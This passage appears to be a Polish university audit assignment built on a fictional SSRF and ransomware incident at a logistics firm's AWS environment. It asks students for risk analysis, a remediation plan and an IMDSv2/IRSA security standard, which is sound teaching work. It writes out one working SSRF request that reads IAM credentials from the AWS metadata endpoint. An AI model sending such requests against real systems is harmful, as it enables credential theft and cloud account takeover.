• Cyberprzestępcy zidentyfikowali endpoint i przesłali spreparowane żądanie: `GET /api/v1/customs/fetch-declaration?preview_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/TransitMasterRole`. Aplikacja w odpowiedzi zwróciła kompletny obiekt JSON z poświadczeniami administracyjnymi konta AWS (`AccessKeyId`, `SecretAccessKey`, `Token`).
• Posługując się wykradzionymi kluczami, intruzi połączyli się przez AWS CLI z infrastrukturą spółki. Wyłączyli rejestrowanie zdarzeń w usłudze AWS CloudTrail, wyeksfiltrowali bazy danych klientów i tras ładunków strategicznych z klastra Amazon Aurora PostgreSQL, usunęli migawki (Snapshots) oraz zaszyfrowali za pomocą własnego klucza KMS 40 terabajtów dokumentacji w bucketach Amazon S3, unieruchamiając operacje tranzytowe spółki. Na ekranach dyspozytorów pojawiło się żądanie okupu w wysokości 5 mln USD w kryptowalucie Bitcoin.

Prezes Zarządu spółki, stając przed widmem bankructwa, zerwania kontraktów międzynarodowych, zawiadomienia ABW/CSIRT NASK oraz sankcji z Dyrektywy NIS2, powołuje Triadę Audytorską do przeprowadzenia strategicznego audytu w formule 90 minut na poziomie oceny 5.0.

Zadanie realizowane jest w ścisłym reżimie warsztatowym (formuła 90 minut) przez 2-3 osobową Triadę Audytorską:

• Krok 1 (Podział ról w Triadzie Audytorskiej - Minuty 00-15):

  Student A (Lead Auditor / Zgodność z NIS2 i Ład Chmurowy): Odpowiada za ład regulacyjny, zgodność z Dyrektywą NIS2, standardami CIS AWS Foundations Benchmark, relacje z Zarządem i ubezpieczycielem cybernetycznym, koordynację matrycy 5x5 oraz przygotowanie 1-stronicowego Executive Summary ("Pitch to Board").

  Student B (Technical SecOps Auditor / Architekt Bezpieczeństwa Chmury AWS i K8s): Dokonuje dekonstrukcji exploita SSRF na adres 169.254.169.254, analizuje konfigurację IMDSv1, nadmiarowe uprawnienia roli IAM, projektuje twarde wymuszenie IMDSv2 z parametrem hop limit=1, architekturę IRSA (IAM Roles for Service Accounts) w klastrze EKS, reguły AWS Network Firewall oraz walidację adresów URL z ochroną przed DNS Rebinding.

  Student C (Governance, Risk & Compliance Auditor): Opracowuje Kanoniczną Kartę Niezgodności 4C, wylicza ryzyko w matrycy 5x5 skorelowane ze wskaźnikami CVSS v3.1 (9.9 Critical) i BCM (RTO=15m, RPO=0s, MTPD=45m), prowadzi sekwencję 5 Why oraz konstruuje Trójfazowy Plan CAP ze wskaźnikami KPI i KRI. W zespole dwuosobowym zadania te dzielą Studenci A i B.

• Krok 2 (Opracowanie Kanonicznej Karty Niezgodności 4C - Minuty 15-40):

  Sformułujcie kartę uchybienia krytycznego w modelu 4C:

• Krok 3 (Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS - Minuty 15-40):

  Skwantyfikujcie 4 wektory zagrożeń w skali 25-stopniowej (P 1-5 x S 1-5):

• Krok 4 (Konstrukcja Trójfazowego Planu Działań Korygujących - CAP - Minuty 40-70):

  Opracujcie tabelę CAP w 3 horyzontach czasowych:

• Krok 5 (Sformalizowany Projekt Załącznika Wykonawczego SOP - Minuty 40-70):

  Zredagujcie sformalizowany akt normatywny: "Standard Zapobiegania Atakom SSRF, Ochrony Usług Metadanych i Bezpieczeństwa Chmury AWS w Trans-Cargo Polska S.A." z numerowanymi artykułami:

  • § 1 Cel i zakres procedury (ochrona infrastruktury chmurowej i zgodność z Dyrektywą NIS2).
  • § 2 Bezwzględny obowiązek stosowania IMDSv2 i restrykcji hop limit (zakaz uruchamiania instancji z IMDSv1).
  • § 3 Zasady implementacji zewnętrznych zapytań HTTP w kodzie aplikacji (białe listy domen, ochrona DNS Rebinding).
  • § 4 Standard zarządzania tożsamością IAM w klastrach Kubernetes (wymóg ról IRSA i zasada Least Privilege).
  • § 5 Blokady architektoniczne Service Control Policies (SCP) na poziomie organizacji AWS.
  • § 6 Procedura awaryjnego odcięcia skompromitowanych poświadczeń IAM i sankcje służbowe.
• Krok 6 (Opracowanie Podsumowania Zarządczego - Pitch to Board - Minuty 70-90):

  Przygotujcie 1-stronicowy dokument dla Zarządu i Rady Nadzorczej: bilans ryzyk (redukcja z 4 ryzyk ekstremalnych IR>=20 do poziomu akceptowalnego RR<=4), ochrona przed okupem 5 mln USD i stratami operacyjnymi 32 mln PLN, wyeliminowanie sankcji z NIS2 (do 10 mln EUR), budżet Planu CAP (350 000 PLN na CSPM, reguły SCP i wdrożenie IRSA) oraz stopa zwrotu z inwestycji (ROSI: zagwarantowanie ciągłości strategicznych łańcuchów dostaw).

Plan prezentacji seminaryjnej przed komisją (15 minut):

• Prezentacja Podsumowania Zarządczego (Pitch to Board) dla Zarządu (3 min): Przedstawienie skali incydentu chmurowego, próby wyłudzenia okupu 5 mln USD, ekspozycji regulacyjnej i bilansu ryzyk przed i po CAP (Student A - Lead Auditor).
• Dekonstrukcja techniczna ataku SSRF i kompromitacji IMDSv1 w AWS (4 min): Prezentacja podatnego endpointu API, zrzutów zapytań do adresu 169.254.169.254, analiza roli IAM AdministratorAccess oraz demonstracja przejęcia kontroli nad kontem AWS CLI (Student B - Technical SecOps Auditor).
• Prezentacja Kanonicznej Karty Niezgodności 4C, 5 Why i matrycy ryzyka 5x5 (4 min): Uzasadnienie kwalifikacji uchybienia, korelacja z CIS AWS Benchmark, Dyrektywą NIS2, normą ISO 27001 i art. 269b KK oraz wyliczenie redukcji ryzyka z IR=25 do RR=4 (Student C - Compliance Auditor).
• Prezentacja Trójfazowego Planu CAP i Załącznika Wykonawczego SOP (3 min): Szczegółowe omówienie wymuszenia IMDSv2, ról IRSA w klastrze EKS, zapory AWS Network Firewall i platformy CSPM (Student B i Student C).
• Dyskusja z komisją i obrona rekomendacji (1 min): Odpowiedzi na pytania komisji dotyczące mechanizmu ochrony DNS Rebinding i działania parametru hop limit=1 (cała Triada Audytorska).

Struktura raportu strategicznego na ocenę 5.0 (objętość 12-16 stron A4):

A. Podsumowanie Zarządcze (Executive Summary - "Pitch to Board") - 1 strona A4:

• Syntetyczny bilans ryzyk chmurowych i podatności SSRF (IR vs RR).
• Skutki incydentu przejęcia chmury dla międzynarodowych łańcuchów logistycznych.
• Budżet Planu CAP (350 000 PLN) vs Return on Security Investment (ROSI).

B. Odpowiedzi na pytania problemowe i opis sytuacji kryzysowej:

• W jaki sposób mechanizm Server-Side Request Forgery (SSRF) umożliwia ominięcie zapór sieciowych i uzyskanie bezpośredniego dostępu do wewnętrznej usługi metadanych instancji w chmurze obliczeniowej (AWS Instance Metadata Service) i czym różni się protokół IMDSv1 od IMDSv2 pod kątem odporności na ataki SSRF?
• Dlaczego przypisywanie nadmiarowych ról administracyjnych (np. AdministratorAccess) węzłom roboczym klastrów kontenerowych Kubernetes (Amazon EKS) stanowi błąd kardynalny i w jaki sposób technologia IAM Roles for Service Accounts (IRSA) z wykorzystaniem protokołu OIDC zapewnia izolację uprawnień pomiędzy poszczególnymi podami?
• Jakie techniki ataku typu DNS Rebinding stosują cyberprzestępcy w celu ominięcia prostych filtrów adresacji IP w aplikacjach webowych i w jaki sposób poprawnie zaimplementować walidację adresów URL na poziomie gniazd sieciowych (Socket-Level IP Validation)?

C. Kanoniczna Karta Ustaleń Audytowych w Modelu 4C.

D. Zaawansowana Matryca Ryzyka 5x5 i Wskaźniki BCM / CVSS (IR vs RR, CVSS v3.1 Base Score 9.9 Critical).

E. Trójfazowy Plan Działań Korygujących (CAP) (Faza 1 [0-7 dni], Faza 2 [30 dni], Faza 3 [90 dni], RACI, KPI, KRI).

F. Sformalizowany Projekt Załącznika Wykonawczego (SOP) - Standard Bezpieczeństwa Chmury AWS (§ 1 do § 6).

G. Analiza kompromisów inżynierskich (narzut konfiguracyjny ról IRSA i zapór chmurowych vs odporność na kompromitację środowiska produkcyjnego).

H. Bibliografia, netografia i regulacje prawne.

• OWASP Foundation: "OWASP Top 10:2021", Kategoria A10:2021 Server-Side Request Forgery (SSRF).
• OWASP Foundation: "Application Security Verification Standard (ASVS) v4.0.3", Sekcja V5.5 SSRF Protection Requirements.
• Center for Internet Security (CIS): "CIS Amazon Web Services Foundations Benchmark v2.0.0", 2023.
• Amazon Web Services: "AWS Well-Architected Framework: Security Pillar", AWS Whitepapers 2023.
• Amazon Web Services: "Configuring the Instance Metadata Service (IMDSv2) on Amazon EC2 Instances", Dokumentacja techniczna AWS 2023.
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. (Dyrektywa NIS2) - art. 21.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.20 (Bezpieczeństwo sieci), A.8.24 (Krypto-zabezpieczenia), A.8.26 (Wymagania bezpieczeństwa aplikacji).
• Kodeks Karny (Dz.U. z 1997 r. nr 88 poz. 553 z późn. zm.) - art. 267 (Nielegalne uzyskanie informacji), art. 269b (Wytwarzanie i udostępnianie programów komputerowych przeznaczonych do popełniania przestępstw).

• U2 Precyzyjna identyfikacja i formalna kwalifikacja luki SSRF oraz błędów konfiguracji chmury AWS w modelu 4C oraz dochodzenie 5 Why.
• U1 Projekt architektury bezpiecznych metadanych IMDSv2, ról IRSA w klastrze Kubernetes i reguł zapory AWS Network Firewall.
• U3 Kwantyfikacja ryzyka w matrycy 5x5 w ujęciu inherentnym i rezydualnym z powiązaniem ze wskaźnikami CVSS i parametrami BCM.
• U4 Konstrukcja Trójfazowego Planu CAP oraz przygotowanie profesjonalnego briefingu zarządczego (Pitch to Board).
• W1W2W3 Wyczerpująca znajomość NIS2, CIS AWS Foundations Benchmark, normy ISO 27001 i frameworku AWS Well-Architected.
• K1K2K3 Obiektywizm, niezależność audytorska, dbałość o nienaruszalność łańcuchów dostaw i wysoka kultura inżynierska.

Podczas obrony referatu przedstawcie komisji diagram przepływu żądania SSRF z poziomu kontenera do adresu 169.254.169.254 oraz wykażcie, w jaki sposób ustawienie parametru `http-put-response-hop-limit 1` uniemożliwia pobranie tokenu IMDSv2 z wnętrza kontenera Kubernetes (ze względu na konieczność pokonania dodatkowego skoku sieciowego przez mostek wirtualny veth).